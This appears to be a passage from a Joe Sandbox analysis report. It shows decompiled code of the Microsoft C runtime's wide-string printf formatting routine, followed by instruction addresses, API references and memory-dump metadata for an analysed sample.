																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xd:
																	L145:
																	 *(__ebp - 0x460) = 0x27;
																	L146:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *((short*)(__ebp - 0x14)) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E00428360(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00428380(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00428380(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xe:
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
															}
														case 8:
															L24:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L27;
														case 9:
															L25:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L27;
														case 0xa:
															L23:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L27;
														case 0xb:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L27;
														case 0xc:
															L26:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L27;
														case 0xd:
															L27:
															goto L214;
													}
												} else {
													_t642 = 0;
													if(0 == 0) {
														 *(_t674 - 0x4dc) = 0;
													} else {
														 *(_t674 - 0x4dc) = 1;
													}
													 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
													if( *(_t674 - 0x46c) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t517 = L0041E210();
														_t676 = _t676 + 0x14;
														if(_t517 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t674 - 0x46c) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422D00(_t588))) = 0x16;
														E00422A90(_t565, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t674 - 0x4c8) = 0xffffffff;
														E0041ACB0(_t674 - 0x40);
														_t502 =  *(_t674 - 0x4c8);
														L225:
														return E0042BCB0(_t502, _t565,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
													}
												}
											}
											L215:
											__eflags =  *(_t674 - 0x45c);
											if( *(_t674 - 0x45c) == 0) {
												L218:
												 *(_t674 - 0x4f8) = 1;
												L219:
												_t642 =  *(_t674 - 0x4f8);
												 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t507 = L0041E210();
													_t676 = _t676 + 0x14;
													__eflags = _t507 - 1;
													if(_t507 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) != 0) {
													 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
													E0041ACB0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d4);
												} else {
													 *((intOrPtr*)(L00422D00(_t580))) = 0x16;
													E00422A90(_t565, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t674 - 0x4d0) = 0xffffffff;
													E0041ACB0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d0);
												}
												goto L225;
											}
											L216:
											__eflags =  *(_t674 - 0x45c) - 7;
											if( *(_t674 - 0x45c) == 7) {
												goto L218;
											}
											L217:
											 *(_t674 - 0x4f8) = 0;
											goto L219;
										}
									}
									L184:
									__eflags =  *(_t674 - 0x24);
									if( *(_t674 - 0x24) == 0) {
										L186:
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
										_t613 =  *(_t674 - 0x24) + 1;
										__eflags = _t613;
										 *(_t674 - 0x24) = _t613;
										goto L187;
									}
									L185:
									__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
										goto L187;
									}
									goto L186;
								}
								L180:
								asm("cdq");
								_t632 =  *(_t674 - 0x4a8);
								 *(_t674 - 0x494) = E00430780(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
								asm("cdq");
								 *(_t674 - 0x4a8) = E00430800( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
								 *(_t674 - 0x4a4) = _t632;
								__eflags =  *(_t674 - 0x494) - 0x39;
								if( *(_t674 - 0x494) > 0x39) {
									_t636 =  *(_t674 - 0x494) +  *((intOrPtr*)(_t674 - 0x460));
									__eflags = _t636;
									 *(_t674 - 0x494) = _t636;
								}
								 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *(_t674 - 0x494);
								 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								goto L179;
							}
						}
						L165:
						__eflags =  *(_t674 - 0x4a0);
						if( *(_t674 - 0x4a0) >= 0) {
							goto L167;
						}
						goto L166;
						L167:
						 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
						 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
						goto L168;
					}
				}
			}

0x0043c284
0x0043c284
0x0043c284
0x0043c284
0x0043c284
0x0043c284
0x0043c284
0x0043c294
0x0043c296
0x0043c299
0x0043c299
0x0043c29f
0x0043c29f
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c362
0x0043c367
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c347
0x0043c34c
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c321
0x0043c326
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c305
0x0043c30a
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d8
0x0043c2dd
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2b0
0x0043c2b5
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c394
0x0043c3a2
0x0043c3a7
0x0043c3ad
0x0043c3bb
0x0043c3d8
0x0043c3db
0x0043c3e0
0x0043c3e5
0x0043c3eb
0x0043c3f9
0x0043c3f9
0x0043c402
0x0043c402
0x0043c3eb
0x0043c408
0x0043c40c
0x0043c41d
0x0043c420
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c436
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x0043c45e
0x0043c464
0x0043c46a
0x0043c4e7
0x0043c4f0
0x0043c4f9
0x0043c4ff
0x0043c505
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x0043c53a
0x0043c53d
0x0043c540
0x0043c545
0x0043c54a
0x0043c561
0x0043c564
0x0043c57b
0x0043c57e
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c599
0x0043c5a2
0x0043c5a5
0x0043c5bb
0x0043c5c0
0x0043c5c0
0x0043c5d6
0x0043c5db
0x0043c5e1
0x0043c5e4
0x0043c5e9
0x0043c5ec
0x0043c602
0x0043c607
0x0043c607
0x0043c5ec
0x0043c60a
0x0043c60e
0x0043c6c8
0x0043c6db
0x0043c6e0
0x00000000
0x0043c614
0x0043c614
0x0043c614
0x0043c618
0x00000000
0x00000000
0x0043c61e
0x0043c621
0x0043c62a
0x0043c630
0x0043c630
0x0043c63f
0x0043c645
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c64c
0x0043c671
0x0043c676
0x0043c679
0x0043c67f
0x0043c686
0x0043c694
0x0043c6a7
0x0043c6ac
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6e3
0x0043c6ea
0x0043c6ef
0x0043c6f2
0x0043c708
0x0043c70d
0x0043c70d
0x0043c6f2
0x0043c6ea
0x0043c710
0x0043c710
0x0043c714
0x0043c71c
0x0043c721
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9f6
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba86
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043bae7
0x0043baea
0x0043bb14
0x0043bb17
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043bafb
0x0043baff
0x0043bb01
0x0043bb04
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x0043bb28
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb40
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb54
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb98
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc1f
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4c
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc62
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc78
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc83
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2b
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfb
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbbf
0x0043bbc2
0x0043bbdb
0x0043bbde
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca6
0x0043bca9
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bcda
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcf7
0x0043bcfd
0x0043bcff
0x0043bd02
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be3d
0x0043be42
0x0043be44
0x0043be47
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x00000000
0x00000000
0x0043bda4
0x0043bda4
0x0043bdb0
0x0043bdb6
0x0043bdbd
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd4
0x0043bde0
0x0043be35
0x00000000
0x0043be35
0x0043bdbf
0x0043bdbf
0x0043bdc5
0x0043bdc9
0x0043bde8
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x00000000
0x0043bdee
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a2
0x0043c0a6
0x0043c0b1
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c106
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c183
0x0043c188
0x0043c18a
0x0043c18e
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c18e
0x0043c1b1
0x0043c1b8
0x0043c1bb
0x0043c1c0
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1ee
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c1fe
0x0043c201
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c530
0x0043c0b7
0x0043c0b7
0x0043c0be
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd25
0x0043bd28
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd6c
0x0043bd74
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c21b
0x0043c21e
0x0043c221
0x0043c224
0x0043c2a2
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c362
0x0043c367
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c347
0x0043c34c
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c321
0x0043c326
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c305
0x0043c30a
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d8
0x0043c2dd
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2b0
0x0043c2b5
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043bf7a
0x0043bf7a
0x0043bf86
0x0043bf8c
0x0043bf91
0x0043bf93
0x0043c03d
0x0043c03d
0x0043c040
0x0043c040
0x0043c043
0x0043c057
0x0043c05d
0x0043c063
0x0043c045
0x0043c045
0x0043c04b
0x0043c052
0x0043c052
0x0043c065
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bf99
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfbf
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe3
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bfe9
0x0043bff0
0x0043c038
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x00000000
0x0043c02d
0x00000000
0x00000000
0x00000000
0x0043c236
0x0043c236
0x00000000
0x00000000
0x0043be4d
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be86
0x0043be89
0x0043bf11
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf45
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf52
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf67
0x0043bf6d
0x0043bf6d
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bebb
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043becc
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043bee3
0x0043beeb
0x0043beed
0x0043beef
0x0043bef5
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beaf
0x0043beb2
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x00000000
0x0043c22d
0x0043c22d
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c362
0x0043c367
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c347
0x0043c34c
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c321
0x0043c326
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c305
0x0043c30a
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d8
0x0043c2dd
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2b0
0x0043c2b5
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c37e
0x00000000
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c362
0x0043c367
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c347
0x0043c34c
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c321
0x0043c326
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c305
0x0043c30a
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d8
0x0043c2dd
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2b0
0x0043c2b5
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c37e
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad2
0x0043bad5
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x0043c7f4
0x0043c801
0x0043c801
0x0043b9a2
0x0043b945
0x0043c730
0x0043c730
0x0043c737
0x0043c74e
0x0043c74e
0x0043c758
0x0043c758
0x0043c75e
0x0043c764
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c788
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c78e
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c739
0x0043c739
0x0043c740
0x00000000
0x00000000
0x0043c742
0x0043c742
0x00000000
0x0043c742
0x0043c530
0x0043c507
0x0043c507
0x0043c50b
0x0043c518
0x0043c51e
0x0043c524
0x0043c52a
0x0043c52a
0x0043c52d
0x00000000
0x0043c52d
0x0043c50d
0x0043c513
0x0043c516
0x00000000
0x00000000
0x00000000
0x0043c516
0x0043c46c
0x0043c46f
0x0043c479
0x0043c488
0x0043c491
0x0043c4a7
0x0043c4ad
0x0043c4b3
0x0043c4ba
0x0043c4c2
0x0043c4c2
0x0043c4c8
0x0043c4c8
0x0043c4d7
0x0043c4df
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x00000000
0x0043c45c
0x0043c44e
0x0043c38b
0x0043c38b
0x0043c392
0x00000000
0x00000000
0x00000000
0x0043c3c0
0x0043c3c6
0x0043c3d2
0x00000000
0x0043c3d2
0x0043c2a2

APIs

_get_int64_arg.LIBCMTD ref: 0043C2B0
__aullrem.LIBCMT ref: 0043C480
__aulldiv.LIBCMT ref: 0043C4A2

Strings

9, xrefs: 0043C4B3

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
